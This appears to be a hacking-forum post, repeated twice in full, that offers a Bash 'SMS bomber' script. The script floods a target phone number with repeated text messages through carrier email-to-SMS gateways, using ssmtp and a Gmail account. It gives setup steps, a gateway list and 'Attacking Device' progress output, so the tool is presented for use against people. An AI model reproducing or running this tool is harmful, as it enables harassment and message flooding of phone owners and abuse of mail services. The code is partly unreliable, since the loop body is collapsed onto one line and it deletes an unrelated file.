This Post is writtern By disk0
A friend and I wrote this command line SMS bomber in Bash. It allows you to set the message you want to send, the phone number to send it to, the carrier of the phone (which can be found at http://www.fonefinder.net), and the delay between messages. You’ll need to install ‘ssmtp’
If you’re using Ubuntu or BT4 you can type:
Code:
sudo apt-get install ssmtp
You’ll also need a Gmail account (I’m sure you could use another e-mail service, just make changes accordingly).
Then you’ll need to edit the configuration file (located at /etc/ssmtp/ssmtp.conf)
Where it says:
Code:
# The place where the mail goes. The actual machine name is required no
# MX records are consulted. Commonly mailhosts are named mail.domain.com
mailhub=whatever
Change it to mailhub=smtp.gmail.com:587
Then add this at the end of the configuration file:
Code:
AuthUser=[email protected]
AuthPass=YOURPASSWORD
UseSTARTTLS=YES
Then, you’ll need to save the following code as whatever you want (I call it smsbomber):
#! /bin/bash
COUNTER=0
SPEED=2
function usage {
echo “USAGE: $0 [OPTIONS] … [ARGUMENTS]”
echo
echo “-p Phone Number”
echo “-c Carrier Code”
echo “-o Display Carrier Codes”
echo “-m Message to Send”
echo “-t Number of Times to Send Message”
echo “-d Delay (in seconds) Between Messages”
echo “-h This Help Screen”
echo
echo “You can check the carrier of a phone number”
echo “at www.fonefinder.net”
echo
echo “Instead of using a preset carrier code, you”
echo “can enter the SMS gateway of the carrier”
echo “using the ‘-c’ option.”
echo
echo “Written by MrPockets (aka GhostNode) and disk0”
exit
}
function carriers {
echo “Carrier Codes:”
echo
echo “1 AT&T”
echo “2 Boost Mobile”
echo “3 Cingular”
echo “4 Nextel”
echo “5 Sprint”
echo “6 Verizon or Straigh Talk”
echo “7 T-mobile”
echo “8 TracFone”
echo “9 US Cellular”
echo “10 Virgin Mobile”
exit
}
if [ “$1” == “” ]; then
usage
fi
while [ “$1” != “” ]; do
case “$1” in
‘-p’)
shift
NUMBER=$1
;;
‘-c’)
shift
case “$1” in
‘1’)
GATEWAY=”@txt.att.net”
;;
‘2’)
GATEWAY=”@myboostmobile.com”
;;
‘3’)
GATEWAY=”@cingular.com”
;;
‘4’)
GATEWAY=”@messaging.nextel.com”
;;
‘5’)
GATEWAY=”@messaging.sprintpcs.com”
;;
‘6’)
GATEWAY=”@vtext.com”
;;
‘7’)
GATEWAY=”@tmomail.net”
;;
‘8’)
GATEWAY=”@mmst5.tracfone.com”
;;
‘9’)
GATEWAY=”@email.uscc.net”
;;
’10’)
GATEWAY=”@yrmobl.com”
;;
*)
GATEWAY=$1
;;
esac
;;
‘-m’)
shift
MESSAGE=$1
;;
‘-d’)
shift
SPEED=$1
;;
‘-t’)
shift
TIMES=$1
;;
‘-h’)
usage
;;
‘-o’)
carriers
;;
*)
usage
;;
esac
shift
done
echo >> delivery
echo >> delivery
echo $MESSAGE >> delivery
clear
echo ” Attacking Device at: $NUMBER “
echo ” With Message: $MESSAGE “
until [ $TIMES -le $COUNTER ]; do
ssmtp $NUMBER$GATEWAY < delivery sleep $SPEED COUNTER=$(($COUNTER +1)) echo ================================== echo echo “Attack $COUNTER of $TIMES” echo echo Message: $MESSAGE date echo “Ctrl+C to call off attack” echo ================================== done rm 1.txt rm delivery
Make sure you change the permissions to make it executable:
Code:
sudo chmod 777 smsbomber
Then you can just type ./smsbomber or ./smsbomber -h for the help menu. You gues should be able to figure it out from there! Let me know what you think!
A friend and I wrote this command line SMS bomber in Bash. It allows you to set the message you want to send, the phone number to send it to, the carrier of the phone (which can be found at http://www.fonefinder.net), and the delay between messages. You’ll need to install ‘ssmtp’
If you’re using Ubuntu or BT4 you can type:
Code:
sudo apt-get install ssmtp
You’ll also need a Gmail account (I’m sure you could use another e-mail service, just make changes accordingly).
Then you’ll need to edit the configuration file (located at /etc/ssmtp/ssmtp.conf)
Where it says:
Code:
# The place where the mail goes. The actual machine name is required no
# MX records are consulted. Commonly mailhosts are named mail.domain.com
mailhub=whatever
Change it to mailhub=smtp.gmail.com:587
Then add this at the end of the configuration file:
Code:
AuthUser=[email protected]
AuthPass=YOURPASSWORD
UseSTARTTLS=YES
Then, you’ll need to save the following code as whatever you want (I call it smsbomber):
#! /bin/bash
COUNTER=0
SPEED=2
function usage {
echo “USAGE: $0 [OPTIONS] … [ARGUMENTS]”
echo
echo “-p Phone Number”
echo “-c Carrier Code”
echo “-o Display Carrier Codes”
echo “-m Message to Send”
echo “-t Number of Times to Send Message”
echo “-d Delay (in seconds) Between Messages”
echo “-h This Help Screen”
echo
echo “You can check the carrier of a phone number”
echo “at www.fonefinder.net”
echo
echo “Instead of using a preset carrier code, you”
echo “can enter the SMS gateway of the carrier”
echo “using the ‘-c’ option.”
echo
echo “Written by MrPockets (aka GhostNode) and disk0”
exit
}
function carriers {
echo “Carrier Codes:”
echo
echo “1 AT&T”
echo “2 Boost Mobile”
echo “3 Cingular”
echo “4 Nextel”
echo “5 Sprint”
echo “6 Verizon or Straigh Talk”
echo “7 T-mobile”
echo “8 TracFone”
echo “9 US Cellular”
echo “10 Virgin Mobile”
exit
}
if [ “$1” == “” ]; then
usage
fi
while [ “$1” != “” ]; do
case “$1” in
‘-p’)
shift
NUMBER=$1
;;
‘-c’)
shift
case “$1” in
‘1’)
GATEWAY=”@txt.att.net”
;;
‘2’)
GATEWAY=”@myboostmobile.com”
;;
‘3’)
GATEWAY=”@cingular.com”
;;
‘4’)
GATEWAY=”@messaging.nextel.com”
;;
‘5’)
GATEWAY=”@messaging.sprintpcs.com”
;;
‘6’)
GATEWAY=”@vtext.com”
;;
‘7’)
GATEWAY=”@tmomail.net”
;;
‘8’)
GATEWAY=”@mmst5.tracfone.com”
;;
‘9’)
GATEWAY=”@email.uscc.net”
;;
’10’)
GATEWAY=”@yrmobl.com”
;;
*)
GATEWAY=$1
;;
esac
;;
‘-m’)
shift
MESSAGE=$1
;;
‘-d’)
shift
SPEED=$1
;;
‘-t’)
shift
TIMES=$1
;;
‘-h’)
usage
;;
‘-o’)
carriers
;;
*)
usage
;;
esac
shift
done
echo >> delivery
echo >> delivery
echo $MESSAGE >> delivery
clear
echo ” Attacking Device at: $NUMBER “
echo ” With Message: $MESSAGE “
until [ $TIMES -le $COUNTER ]; do
ssmtp $NUMBER$GATEWAY < delivery sleep $SPEED COUNTER=$(($COUNTER +1)) echo ================================== echo echo “Attack $COUNTER of $TIMES” echo echo Message: $MESSAGE date echo “Ctrl+C to call off attack” echo ================================== done rm 1.txt rm delivery
Make sure you change the permissions to make it executable:
Code:
sudo chmod 777 smsbomber
Then you can just type ./smsbomber or ./smsbomber -h for the help menu. You gues should be able to figure it out from there! Let me know what you think!